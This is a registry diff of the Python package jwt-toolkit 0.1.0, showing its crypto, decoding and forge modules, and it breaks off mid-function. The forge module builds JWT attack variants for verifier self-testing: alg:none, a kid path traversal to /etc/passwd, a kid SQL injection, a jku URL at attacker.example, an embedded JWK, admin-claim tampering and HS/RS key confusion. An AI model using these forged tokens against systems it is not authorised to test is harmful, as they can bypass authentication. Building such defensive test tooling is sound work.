jwt-toolkit 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- jwt_toolkit/__init__.py +0 -0
- jwt_toolkit/cli/__init__.py +110 -0
- jwt_toolkit/cli/algorithms.py +66 -0
- jwt_toolkit/cli/banner.py +277 -0
- jwt_toolkit/cli/console.py +35 -0
- jwt_toolkit/cli/decoding.py +83 -0
- jwt_toolkit/cli/panels.py +28 -0
- jwt_toolkit/commands/__init__.py +0 -0
- jwt_toolkit/commands/audit.py +269 -0
- jwt_toolkit/commands/crack.py +322 -0
- jwt_toolkit/commands/decode.py +54 -0
- jwt_toolkit/commands/download_wordlists.py +216 -0
- jwt_toolkit/commands/forge.py +133 -0
- jwt_toolkit/commands/generate_secret.py +72 -0
- jwt_toolkit/commands/sign.py +146 -0
- jwt_toolkit/commands/verify.py +290 -0
- jwt_toolkit/core/__init__.py +0 -0
- jwt_toolkit/core/auditor.py +602 -0
- jwt_toolkit/core/crypto.py +229 -0
- jwt_toolkit/core/decoder.py +70 -0
- jwt_toolkit/core/encoding.py +22 -0
- jwt_toolkit/core/errors.py +25 -0
- jwt_toolkit/core/forge.py +260 -0
- jwt_toolkit/core/jwks.py +197 -0
- jwt_toolkit-0.1.0.dist-info/METADATA +116 -0
- jwt_toolkit-0.1.0.dist-info/RECORD +29 -0
- jwt_toolkit-0.1.0.dist-info/WHEEL +4 -0
- jwt_toolkit-0.1.0.dist-info/entry_points.txt +2 -0
- jwt_toolkit-0.1.0.dist-info/licenses/LICENSE +21 -0
|
@@ -0,0 +1,229 @@
|
|
|
1
|
+
import hashlib
|
|
2
|
+
import hmac
|
|
3
|
+
from collections.abc import Callable
|
|
4
|
+
|
|
5
|
+
from cryptography.exceptions import InvalidSignature
|
|
6
|
+
from cryptography.hazmat.primitives import hashes, serialization
|
|
7
|
+
from cryptography.hazmat.primitives.asymmetric import ec, padding, rsa
|
|
8
|
+
from cryptography.hazmat.primitives.asymmetric.utils import (
|
|
9
|
+
decode_dss_signature,
|
|
10
|
+
encode_dss_signature,
|
|
11
|
+
)
|
|
12
|
+
|
|
13
|
+
from jwt_toolkit.core.encoding import base64url_decode, base64url_encode
|
|
14
|
+
|
|
15
|
+
# Crypto module — signing and verification for the JWS algorithms we support.
|
|
16
|
+
# HMAC lives at the top of the module; asymmetric primitives follow.
|
|
17
|
+
|
|
18
|
+
# HMAC algorithms — symmetric, shared-secret. Kept as a dict so `crack` can iterate
|
|
19
|
+
# `(alg, digestmod)` directly. Public API: do not rename.
|
|
20
|
+
SUPPORTED_ALGORITHMS = {
|
|
21
|
+
"HS256": hashlib.sha256,
|
|
22
|
+
"HS384": hashlib.sha384,
|
|
23
|
+
"HS512": hashlib.sha512,
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
# Asymmetric algorithm families — split by primitive so dispatchers can branch
|
|
27
|
+
# without re-deriving the family from the alg string.
|
|
28
|
+
RSA_ALGORITHMS = frozenset({"RS256", "RS384", "RS512"})
|
|
29
|
+
EC_ALGORITHMS = frozenset({"ES256", "ES384", "ES512"})
|
|
30
|
+
PSS_ALGORITHMS = frozenset({"PS256", "PS384", "PS512"})
|
|
31
|
+
ASYMMETRIC_ALGORITHMS = RSA_ALGORITHMS | EC_ALGORITHMS | PSS_ALGORITHMS
|
|
32
|
+
|
|
33
|
+
# Union of every algorithm the toolkit can produce or verify a signature for.
|
|
34
|
+
ALL_SIGNING_ALGORITHMS = frozenset(SUPPORTED_ALGORITHMS) | ASYMMETRIC_ALGORITHMS
|
|
35
|
+
|
|
36
|
+
# Hash algorithm to use for each asymmetric alg. The trailing digits in the JWS
|
|
37
|
+
# alg name (e.g. "RS256" → SHA-256) determine the hash, regardless of family.
|
|
38
|
+
# Typed as a callable factory so mypy doesn't see the values as the abstract
|
|
39
|
+
# `type[HashAlgorithm]` base — the dict holds concrete constructors.
|
|
40
|
+
_HASH_BY_ALG: dict[str, Callable[[], hashes.HashAlgorithm]] = {
|
|
41
|
+
"RS256": hashes.SHA256,
|
|
42
|
+
"RS384": hashes.SHA384,
|
|
43
|
+
"RS512": hashes.SHA512,
|
|
44
|
+
"PS256": hashes.SHA256,
|
|
45
|
+
"PS384": hashes.SHA384,
|
|
46
|
+
"PS512": hashes.SHA512,
|
|
47
|
+
"ES256": hashes.SHA256,
|
|
48
|
+
"ES384": hashes.SHA384,
|
|
49
|
+
"ES512": hashes.SHA512,
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
# Required curve for each ES* alg per RFC 7518 §3.4. Other curves must be rejected
|
|
53
|
+
# even if cryptography would otherwise accept them — using ES256 with SECP384R1
|
|
54
|
+
# is a JWS compliance bug and would not interoperate.
|
|
55
|
+
_EC_CURVE_BY_ALG: dict[str, type[ec.EllipticCurve]] = {
|
|
56
|
+
"ES256": ec.SECP256R1,
|
|
57
|
+
"ES384": ec.SECP384R1,
|
|
58
|
+
"ES512": ec.SECP521R1,
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
# Raw component size (in bytes) for each ES* signature. JWS ECDSA signatures are
|
|
62
|
+
# fixed-width r || s; cryptography emits DER, so we must convert in both directions.
|
|
63
|
+
_EC_RAW_SIG_HALF_BYTES = {
|
|
64
|
+
"ES256": 32,
|
|
65
|
+
"ES384": 48,
|
|
66
|
+
"ES512": 66,
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
# HMAC sign and verify — public API unchanged.
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def sign(header_b64: str, payload_b64: str, secret: str, alg: str = "HS256") -> str:
|
|
74
|
+
digestmod = SUPPORTED_ALGORITHMS.get(alg.upper())
|
|
75
|
+
if digestmod is None:
|
|
76
|
+
raise ValueError(
|
|
77
|
+
f"Unsupported algorithm: {alg}. Supported: {', '.join(SUPPORTED_ALGORITHMS)}"
|
|
78
|
+
)
|
|
79
|
+
# Signing input is exactly header_b64 + "." + payload_b64 as defined by the JWT spec.
|
|
80
|
+
message = f"{header_b64}.{payload_b64}".encode()
|
|
81
|
+
signature = hmac.new(secret.encode(), message, digestmod).digest()
|
|
82
|
+
return base64url_encode(signature)
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def verify_signature(
|
|
86
|
+
header_b64: str, payload_b64: str, signature: str, secret: str, alg: str = "HS256"
|
|
87
|
+
) -> bool:
|
|
88
|
+
expected = sign(header_b64, payload_b64, secret, alg)
|
|
89
|
+
# compare_digest is timing-safe — unlike ==, it doesn't short-circuit.
|
|
90
|
+
return hmac.compare_digest(expected, signature)
|
|
91
|
+
|
|
92
|
+
|
|
93
|
+
# Asymmetric sign and verify.
|
|
94
|
+
#
|
|
95
|
+
# Keys are supplied as PEM bytes so callers don't need to import cryptography
|
|
96
|
+
# types. Errors are normalised to `ValueError` so the CLI layer can render them
|
|
97
|
+
# uniformly without catching library-specific exception classes.
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def sign_asymmetric(header_b64: str, payload_b64: str, private_key_pem: bytes, alg: str) -> str:
|
|
101
|
+
alg = alg.upper()
|
|
102
|
+
if alg not in ASYMMETRIC_ALGORITHMS:
|
|
103
|
+
raise ValueError(
|
|
104
|
+
f"Unsupported algorithm: {alg}. "
|
|
105
|
+
f"Asymmetric algorithms: {', '.join(sorted(ASYMMETRIC_ALGORITHMS))}"
|
|
106
|
+
)
|
|
107
|
+
private_key = _load_private_key(private_key_pem, alg)
|
|
108
|
+
message = f"{header_b64}.{payload_b64}".encode()
|
|
109
|
+
raw_sig = _sign_with_private_key(private_key, message, alg)
|
|
110
|
+
return base64url_encode(raw_sig)
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
def verify_asymmetric(
|
|
114
|
+
header_b64: str,
|
|
115
|
+
payload_b64: str,
|
|
116
|
+
signature: str,
|
|
117
|
+
public_key_pem: bytes,
|
|
118
|
+
alg: str,
|
|
119
|
+
) -> bool:
|
|
120
|
+
alg = alg.upper()
|
|
121
|
+
if alg not in ASYMMETRIC_ALGORITHMS:
|
|
122
|
+
raise ValueError(
|
|
123
|
+
f"Unsupported algorithm: {alg}. "
|
|
124
|
+
f"Asymmetric algorithms: {', '.join(sorted(ASYMMETRIC_ALGORITHMS))}"
|
|
125
|
+
)
|
|
126
|
+
public_key = _load_public_key(public_key_pem, alg)
|
|
127
|
+
message = f"{header_b64}.{payload_b64}".encode()
|
|
128
|
+
try:
|
|
129
|
+
raw_sig = base64url_decode(signature)
|
|
130
|
+
except (ValueError, TypeError):
|
|
131
|
+
return False
|
|
132
|
+
try:
|
|
133
|
+
_verify_with_public_key(public_key, message, raw_sig, alg)
|
|
134
|
+
except (InvalidSignature, ValueError):
|
|
135
|
+
return False
|
|
136
|
+
return True
|
|
137
|
+
|
|
138
|
+
|
|
139
|
+
# Internal helpers — kept private so the dispatch shape can change without
|
|
140
|
+
# breaking importers.
|
|
141
|
+
|
|
142
|
+
|
|
143
|
+
def _load_private_key(pem: bytes, alg: str):
|
|
144
|
+
try:
|
|
145
|
+
key = serialization.load_pem_private_key(pem, password=None)
|
|
146
|
+
except (ValueError, TypeError) as exc:
|
|
147
|
+
raise ValueError(f"Could not parse PEM private key: {exc}") from exc
|
|
148
|
+
_ensure_key_matches_alg(key, alg, is_private=True)
|
|
149
|
+
return key
|
|
150
|
+
|
|
151
|
+
|
|
152
|
+
def _load_public_key(pem: bytes, alg: str):
|
|
153
|
+
try:
|
|
154
|
+
key = serialization.load_pem_public_key(pem)
|
|
155
|
+
except (ValueError, TypeError) as exc:
|
|
156
|
+
raise ValueError(f"Could not parse PEM public key: {exc}") from exc
|
|
157
|
+
_ensure_key_matches_alg(key, alg, is_private=False)
|
|
158
|
+
return key
|
|
159
|
+
|
|
160
|
+
|
|
161
|
+
def _ensure_key_matches_alg(key, alg: str, *, is_private: bool) -> None:
|
|
162
|
+
role = "private" if is_private else "public"
|
|
163
|
+
if alg in RSA_ALGORITHMS or alg in PSS_ALGORITHMS:
|
|
164
|
+
expected = rsa.RSAPrivateKey if is_private else rsa.RSAPublicKey
|
|
165
|
+
if not isinstance(key, expected):
|
|
166
|
+
raise ValueError(f"{alg} requires an RSA {role} key, got {type(key).__name__}")
|
|
167
|
+
return
|
|
168
|
+
if alg in EC_ALGORITHMS:
|
|
169
|
+
expected_ec = ec.EllipticCurvePrivateKey if is_private else ec.EllipticCurvePublicKey
|
|
170
|
+
if not isinstance(key, expected_ec):
|
|
171
|
+
raise ValueError(f"{alg} requires an EC {role} key, got {type(key).__name__}")
|
|
172
|
+
expected_curve = _EC_CURVE_BY_ALG[alg]
|
|
173
|
+
if not isinstance(key.curve, expected_curve):
|
|
174
|
+
raise ValueError(f"{alg} requires curve {expected_curve.name}, got {key.curve.name}")
|
|
175
|
+
return
|
|
176
|
+
# Should be unreachable — guarded by the caller's alg check.
|
|
177
|
+
raise ValueError(f"Unsupported asymmetric algorithm: {alg}")
|
|
178
|
+
|
|
179
|
+
|
|
180
|
+
def _sign_with_private_key(private_key, message: bytes, alg: str) -> bytes:
|
|
181
|
+
hash_alg = _HASH_BY_ALG[alg]()
|
|
182
|
+
if alg in RSA_ALGORITHMS:
|
|
183
|
+
return private_key.sign(message, padding.PKCS1v15(), hash_alg)
|
|
184
|
+
if alg in PSS_ALGORITHMS:
|
|
185
|
+
# PSS salt length per RFC 7518 §3.5: equal to the hash output size.
|
|
186
|
+
return private_key.sign(
|
|
187
|
+
message,
|
|
188
|
+
padding.PSS(mgf=padding.MGF1(hash_alg), salt_length=padding.PSS.DIGEST_LENGTH),
|
|
189
|
+
hash_alg,
|
|
190
|
+
)
|
|
191
|
+
# EC — cryptography emits DER; JWS expects raw r || s.
|
|
192
|
+
der_sig = private_key.sign(message, ec.ECDSA(hash_alg))
|
|
193
|
+
return _ec_der_to_raw(der_sig, alg)
|
|
194
|
+
|
|
195
|
+
|
|
196
|
+
def _verify_with_public_key(public_key, message: bytes, raw_sig: bytes, alg: str) -> None:
|
|
197
|
+
hash_alg = _HASH_BY_ALG[alg]()
|
|
198
|
+
if alg in RSA_ALGORITHMS:
|
|
199
|
+
public_key.verify(raw_sig, message, padding.PKCS1v15(), hash_alg)
|
|
200
|
+
return
|
|
201
|
+
if alg in PSS_ALGORITHMS:
|
|
202
|
+
public_key.verify(
|
|
203
|
+
raw_sig,
|
|
204
|
+
message,
|
|
205
|
+
padding.PSS(mgf=padding.MGF1(hash_alg), salt_length=padding.PSS.DIGEST_LENGTH),
|
|
206
|
+
hash_alg,
|
|
207
|
+
)
|
|
208
|
+
return
|
|
209
|
+
# EC — JWS r||s is fixed-width; reject anything else before decoding.
|
|
210
|
+
expected_len = _EC_RAW_SIG_HALF_BYTES[alg] * 2
|
|
211
|
+
if len(raw_sig) != expected_len:
|
|
212
|
+
raise InvalidSignature(
|
|
213
|
+
f"ECDSA signature length {len(raw_sig)} != expected {expected_len} for {alg}"
|
|
214
|
+
)
|
|
215
|
+
der_sig = _ec_raw_to_der(raw_sig, alg)
|
|
216
|
+
public_key.verify(der_sig, message, ec.ECDSA(hash_alg))
|
|
217
|
+
|
|
218
|
+
|
|
219
|
+
def _ec_der_to_raw(der: bytes, alg: str) -> bytes:
|
|
220
|
+
r, s = decode_dss_signature(der)
|
|
221
|
+
half = _EC_RAW_SIG_HALF_BYTES[alg]
|
|
222
|
+
return r.to_bytes(half, "big") + s.to_bytes(half, "big")
|
|
223
|
+
|
|
224
|
+
|
|
225
|
+
def _ec_raw_to_der(raw: bytes, alg: str) -> bytes:
|
|
226
|
+
half = _EC_RAW_SIG_HALF_BYTES[alg]
|
|
227
|
+
r = int.from_bytes(raw[:half], "big")
|
|
228
|
+
s = int.from_bytes(raw[half:], "big")
|
|
229
|
+
return encode_dss_signature(r, s)
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
import binascii
|
|
2
|
+
import json
|
|
3
|
+
from dataclasses import dataclass
|
|
4
|
+
|
|
5
|
+
from jwt_toolkit.core.encoding import base64url_decode
|
|
6
|
+
from jwt_toolkit.core.errors import TokenDecodeError
|
|
7
|
+
|
|
8
|
+
# Decoder module — splits a JWT and base64url-decodes its header and payload.
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
@dataclass(frozen=True)
|
|
12
|
+
class DecodedToken:
|
|
13
|
+
header: dict
|
|
14
|
+
payload: dict
|
|
15
|
+
signature: str
|
|
16
|
+
header_b64: str
|
|
17
|
+
payload_b64: str
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def split_token(token: str) -> tuple[str, str, str]:
|
|
21
|
+
parts = "".join(token.split()).split(".")
|
|
22
|
+
if len(parts) != 3:
|
|
23
|
+
raise TokenDecodeError(
|
|
24
|
+
code="invalid_structure",
|
|
25
|
+
title="Invalid Token",
|
|
26
|
+
headline=f"Invalid JWT structure: expected 3 parts, got {len(parts)}",
|
|
27
|
+
details=(
|
|
28
|
+
"A JWT must have exactly 3 base64url parts separated by dots",
|
|
29
|
+
"Format : <header>.<payload>.<signature>",
|
|
30
|
+
),
|
|
31
|
+
)
|
|
32
|
+
return parts[0], parts[1], parts[2]
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
def decode_token(token: str) -> DecodedToken:
|
|
36
|
+
# Surfaces parse failures as TokenDecodeError so the CLI layer has a single
|
|
37
|
+
# error type to catch — no more juggling binascii/json/ValueError everywhere.
|
|
38
|
+
header_b64, payload_b64, signature = split_token(token)
|
|
39
|
+
try:
|
|
40
|
+
header = json.loads(base64url_decode(header_b64))
|
|
41
|
+
payload = json.loads(base64url_decode(payload_b64))
|
|
42
|
+
except (binascii.Error, UnicodeDecodeError) as exc:
|
|
43
|
+
# binascii.Error: bad base64 bytes. UnicodeDecodeError: decoded bytes
|
|
44
|
+
# are not valid UTF-8 and therefore cannot be JSON.
|
|
45
|
+
raise TokenDecodeError(
|
|
46
|
+
code="invalid_base64url",
|
|
47
|
+
title="Decode Error",
|
|
48
|
+
headline="Token contains invalid base64url encoding",
|
|
49
|
+
details=(
|
|
50
|
+
"One or more parts could not be decoded",
|
|
51
|
+
"The token may be truncated or corrupted",
|
|
52
|
+
),
|
|
53
|
+
) from exc
|
|
54
|
+
except json.JSONDecodeError as exc:
|
|
55
|
+
raise TokenDecodeError(
|
|
56
|
+
code="invalid_json",
|
|
57
|
+
title="Parse Error",
|
|
58
|
+
headline="Token decoded but header or payload is not valid JSON",
|
|
59
|
+
details=(
|
|
60
|
+
f"JSON error : {exc.msg}",
|
|
61
|
+
"The token structure may be corrupted",
|
|
62
|
+
),
|
|
63
|
+
) from exc
|
|
64
|
+
return DecodedToken(
|
|
65
|
+
header=header,
|
|
66
|
+
payload=payload,
|
|
67
|
+
signature=signature,
|
|
68
|
+
header_b64=header_b64,
|
|
69
|
+
payload_b64=payload_b64,
|
|
70
|
+
)
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
import base64
|
|
2
|
+
|
|
3
|
+
# base64url encode/decode helpers — JWT strips '=' padding by spec, so every
|
|
4
|
+
# encode trims it and every decode restores it.
|
|
5
|
+
|
|
6
|
+
|
|
7
|
+
def _pad(value: str) -> str:
|
|
8
|
+
return value + "=" * (-len(value) % 4)
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def base64url_encode(value: bytes) -> str:
|
|
12
|
+
return base64.urlsafe_b64encode(value).rstrip(b"=").decode()
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
def base64url_decode(value: str) -> bytes:
|
|
16
|
+
return base64.urlsafe_b64decode(_pad(value))
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
def base64_decode_padded(value: str) -> bytes:
|
|
20
|
+
# Standard base64 (not url-safe) with the same padding restoration —
|
|
21
|
+
# used by `crack` when interpreting a wordlist entry as a base64 secret.
|
|
22
|
+
return base64.b64decode(_pad(value))
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
from dataclasses import dataclass
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
@dataclass(frozen=True)
|
|
5
|
+
class TokenDecodeError(Exception):
|
|
6
|
+
# Raised when a token cannot be parsed into its three JSON parts.
|
|
7
|
+
# `code` is the stable machine-readable id used by --json consumers;
|
|
8
|
+
# `title`/`headline`/`details` drive the human-readable panel.
|
|
9
|
+
code: str
|
|
10
|
+
title: str
|
|
11
|
+
headline: str
|
|
12
|
+
details: tuple[str, ...] = ()
|
|
13
|
+
|
|
14
|
+
def __str__(self) -> str:
|
|
15
|
+
return self.headline
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
@dataclass(frozen=True)
|
|
19
|
+
class UnsupportedAlgorithmError(Exception):
|
|
20
|
+
title: str
|
|
21
|
+
headline: str
|
|
22
|
+
details: tuple[str, ...] = ()
|
|
23
|
+
|
|
24
|
+
def __str__(self) -> str:
|
|
25
|
+
return self.headline
|
|
@@ -0,0 +1,260 @@
|
|
|
1
|
+
import hashlib
|
|
2
|
+
import hmac
|
|
3
|
+
import json
|
|
4
|
+
from collections.abc import Iterable
|
|
5
|
+
from dataclasses import dataclass
|
|
6
|
+
|
|
7
|
+
from jwt_toolkit.core.decoder import DecodedToken
|
|
8
|
+
from jwt_toolkit.core.encoding import base64url_encode
|
|
9
|
+
|
|
10
|
+
# Forge module — produces defensive test-case variants of a user's JWT.
|
|
11
|
+
#
|
|
12
|
+
# Every variant in this module is designed to be REJECTED by a correctly
|
|
13
|
+
# configured verifier. The caller's job is to feed each variant at their
|
|
14
|
+
# verifier and confirm rejection. If any variant is accepted, the verifier
|
|
15
|
+
# has the matching vulnerability.
|
|
16
|
+
#
|
|
17
|
+
# This is NOT an offensive tool — there is no live targeting, no credential
|
|
18
|
+
# theft, no detection-evasion. It is a test-case generator for self-audit.
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
# Public CVE references that map cleanly to a specific variant shape.
|
|
22
|
+
_CVE_ALG_NONE = "CVE-2015-2951"
|
|
23
|
+
_CVE_HS_RS_CONFUSION = "CVE-2016-10555"
|
|
24
|
+
_CVE_JWK_INJECTION = "CVE-2018-0114"
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
@dataclass(frozen=True)
|
|
28
|
+
class Variant:
|
|
29
|
+
# Stable machine-readable name — safe to pass to --mode and to JSON consumers.
|
|
30
|
+
name: str
|
|
31
|
+
# One-line human description of what the variant tests for.
|
|
32
|
+
description: str
|
|
33
|
+
# CVE reference when the variant maps to a publicly disclosed vulnerability.
|
|
34
|
+
cve: str | None
|
|
35
|
+
# The forged token, ready to feed at the user's verifier.
|
|
36
|
+
token: str
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
# Ordered registry of variant names that do not require any extra input.
|
|
40
|
+
# `hs_rs_confusion` is appended only when the caller supplies a public key.
|
|
41
|
+
STATIC_VARIANT_NAMES: tuple[str, ...] = (
|
|
42
|
+
"alg_none_lower",
|
|
43
|
+
"alg_none_upper",
|
|
44
|
+
"alg_none_mixed",
|
|
45
|
+
"empty_signature",
|
|
46
|
+
"kid_path_traversal",
|
|
47
|
+
"kid_sql_injection",
|
|
48
|
+
"jku_attacker",
|
|
49
|
+
"jwk_embedded",
|
|
50
|
+
"tampered_payload",
|
|
51
|
+
)
|
|
52
|
+
|
|
53
|
+
KEY_BASED_VARIANT_NAMES: tuple[str, ...] = ("hs_rs_confusion",)
|
|
54
|
+
|
|
55
|
+
ALL_VARIANT_NAMES: tuple[str, ...] = STATIC_VARIANT_NAMES + KEY_BASED_VARIANT_NAMES
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
# Default attacker-shaped values for the injection-style variants. These are
|
|
59
|
+
# the exact strings the auditor flags in its `_audit_*` checks — keeping the
|
|
60
|
+
# two modules in lockstep means a passing forge variant proves the auditor's
|
|
61
|
+
# warning is real.
|
|
62
|
+
_KID_PATH_TRAVERSAL_VALUE = "../../etc/passwd"
|
|
63
|
+
_KID_SQL_INJECTION_VALUE = "x' OR '1'='1"
|
|
64
|
+
_JKU_ATTACKER_URL = "https://attacker.example/keys"
|
|
65
|
+
_EMBEDDED_JWK_VALUE = {
|
|
66
|
+
"kty": "oct",
|
|
67
|
+
"k": "YXR0YWNrZXItc3VwcGxpZWQta2V5",
|
|
68
|
+
"alg": "HS256",
|
|
69
|
+
}
|
|
70
|
+
_TAMPERED_CLAIM_OVERRIDES = {"role": "admin", "admin": True}
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
def generate_variants(
|
|
74
|
+
decoded: DecodedToken,
|
|
75
|
+
*,
|
|
76
|
+
public_key_pem: bytes | None = None,
|
|
77
|
+
names: Iterable[str] | None = None,
|
|
78
|
+
) -> list[Variant]:
|
|
79
|
+
# Build every requested variant. `names=None` means "all available given
|
|
80
|
+
# the supplied inputs" — static-only when no key is provided, plus the
|
|
81
|
+
# key-based variants when one is. Explicit `names` skips that inference
|
|
82
|
+
# and lets the caller request anything; mismatches surface from forge_one.
|
|
83
|
+
if names is None:
|
|
84
|
+
selected: tuple[str, ...] = (
|
|
85
|
+
STATIC_VARIANT_NAMES if public_key_pem is None else ALL_VARIANT_NAMES
|
|
86
|
+
)
|
|
87
|
+
else:
|
|
88
|
+
selected = tuple(names)
|
|
89
|
+
return [forge_one(name, decoded, public_key_pem=public_key_pem) for name in selected]
|
|
90
|
+
|
|
91
|
+
|
|
92
|
+
def forge_one(
|
|
93
|
+
name: str,
|
|
94
|
+
decoded: DecodedToken,
|
|
95
|
+
*,
|
|
96
|
+
public_key_pem: bytes | None = None,
|
|
97
|
+
) -> Variant:
|
|
98
|
+
builder = _BUILDERS.get(name)
|
|
99
|
+
if builder is None:
|
|
100
|
+
raise ValueError(
|
|
101
|
+
f"Unknown forge variant: {name}. Available: {', '.join(ALL_VARIANT_NAMES)}"
|
|
102
|
+
)
|
|
103
|
+
if name in KEY_BASED_VARIANT_NAMES and public_key_pem is None:
|
|
104
|
+
raise ValueError(
|
|
105
|
+
f"Variant {name!r} requires --public-key — it forges using the "
|
|
106
|
+
"verifier's own public key as an HMAC secret."
|
|
107
|
+
)
|
|
108
|
+
return builder(decoded, public_key_pem)
|
|
109
|
+
|
|
110
|
+
|
|
111
|
+
# Individual variant builders.
|
|
112
|
+
#
|
|
113
|
+
# Each builder takes the original DecodedToken and an optional public-key PEM.
|
|
114
|
+
# It returns a Variant whose `token` is the forged JWT string.
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
def _build_alg_none_lower(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
118
|
+
return Variant(
|
|
119
|
+
name="alg_none_lower",
|
|
120
|
+
description="alg:none with the signature stripped — verifier must reject unsigned tokens",
|
|
121
|
+
cve=_CVE_ALG_NONE,
|
|
122
|
+
token=_emit(_with_alg(decoded.header, "none"), decoded.payload, signature=""),
|
|
123
|
+
)
|
|
124
|
+
|
|
125
|
+
|
|
126
|
+
def _build_alg_none_upper(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
127
|
+
return Variant(
|
|
128
|
+
name="alg_none_upper",
|
|
129
|
+
description="alg:NONE — case-variant bypass when the verifier normalises before checking",
|
|
130
|
+
cve=_CVE_ALG_NONE,
|
|
131
|
+
token=_emit(_with_alg(decoded.header, "NONE"), decoded.payload, signature=""),
|
|
132
|
+
)
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
def _build_alg_none_mixed(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
136
|
+
return Variant(
|
|
137
|
+
name="alg_none_mixed",
|
|
138
|
+
description="alg:nOnE — mixed-case bypass against ad-hoc string comparisons",
|
|
139
|
+
cve=_CVE_ALG_NONE,
|
|
140
|
+
token=_emit(_with_alg(decoded.header, "nOnE"), decoded.payload, signature=""),
|
|
141
|
+
)
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
def _build_empty_signature(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
145
|
+
return Variant(
|
|
146
|
+
name="empty_signature",
|
|
147
|
+
description="Original alg preserved but signature replaced with an empty string",
|
|
148
|
+
cve=None,
|
|
149
|
+
token=_emit(decoded.header, decoded.payload, signature=""),
|
|
150
|
+
)
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
def _build_kid_path_traversal(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
154
|
+
new_header = {**decoded.header, "kid": _KID_PATH_TRAVERSAL_VALUE}
|
|
155
|
+
return Variant(
|
|
156
|
+
name="kid_path_traversal",
|
|
157
|
+
description=(
|
|
158
|
+
f"kid={_KID_PATH_TRAVERSAL_VALUE!r} — verifier must not concatenate kid into a file path"
|
|
159
|
+
),
|
|
160
|
+
cve=None,
|
|
161
|
+
token=_emit(new_header, decoded.payload, signature=decoded.signature),
|
|
162
|
+
)
|
|
163
|
+
|
|
164
|
+
|
|
165
|
+
def _build_kid_sql_injection(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
166
|
+
new_header = {**decoded.header, "kid": _KID_SQL_INJECTION_VALUE}
|
|
167
|
+
return Variant(
|
|
168
|
+
name="kid_sql_injection",
|
|
169
|
+
description=(
|
|
170
|
+
f"kid={_KID_SQL_INJECTION_VALUE!r} — verifier must not concatenate kid into a SQL query"
|
|
171
|
+
),
|
|
172
|
+
cve=None,
|
|
173
|
+
token=_emit(new_header, decoded.payload, signature=decoded.signature),
|
|
174
|
+
)
|
|
175
|
+
|
|
176
|
+
|
|
177
|
+
def _build_jku_attacker(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
178
|
+
new_header = {**decoded.header, "jku": _JKU_ATTACKER_URL}
|
|
179
|
+
return Variant(
|
|
180
|
+
name="jku_attacker",
|
|
181
|
+
description=(
|
|
182
|
+
f"jku={_JKU_ATTACKER_URL} — verifier must pin jku to an allow-list, not blindly fetch"
|
|
183
|
+
),
|
|
184
|
+
cve=None,
|
|
185
|
+
token=_emit(new_header, decoded.payload, signature=decoded.signature),
|
|
186
|
+
)
|
|
187
|
+
|
|
188
|
+
|
|
189
|
+
def _build_jwk_embedded(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
190
|
+
new_header = {**decoded.header, "jwk": _EMBEDDED_JWK_VALUE}
|
|
191
|
+
return Variant(
|
|
192
|
+
name="jwk_embedded",
|
|
193
|
+
description="JWK embedded in header — verifier must never trust header-supplied keys",
|
|
194
|
+
cve=_CVE_JWK_INJECTION,
|
|
195
|
+
token=_emit(new_header, decoded.payload, signature=decoded.signature),
|
|
196
|
+
)
|
|
197
|
+
|
|
198
|
+
|
|
199
|
+
def _build_tampered_payload(decoded: DecodedToken, _pem: bytes | None) -> Variant:
|
|
200
|
+
new_payload = {**decoded.payload, **_TAMPERED_CLAIM_OVERRIDES}
|
|
201
|
+
return Variant(
|
|
202
|
+
name="tampered_payload",
|
|
203
|
+
description=(
|
|
204
|
+
"Payload mutated to add admin claims while preserving the original "
|
|
205
|
+
"signature — verifier must recompute and compare the signature"
|
|
206
|
+
),
|
|
207
|
+
cve=None,
|
|
208
|
+
token=_emit(decoded.header, new_payload, signature=decoded.signature),
|
|
209
|
+
)
|
|
210
|
+
|
|
211
|
+
|
|
212
|
+
def _build_hs_rs_confusion(decoded: DecodedToken, pem: bytes | None) -> Variant:
|
|
213
|
+
# CVE-2016-10555 shape: take the server's RSA public key, sign HS256 over
|
|
214
|
+
# the header+payload using the PEM bytes as the HMAC secret. A vulnerable
|
|
215
|
+
# verifier that accepts header-supplied alg will use its own public key
|
|
216
|
+
# as the symmetric secret and the signature will verify.
|
|
217
|
+
assert pem is not None # guarded by forge_one
|
|
218
|
+
new_header = {**decoded.header, "alg": "HS256"}
|
|
219
|
+
h_b64 = _b64_json(new_header)
|
|
220
|
+
p_b64 = _b64_json(decoded.payload)
|
|
221
|
+
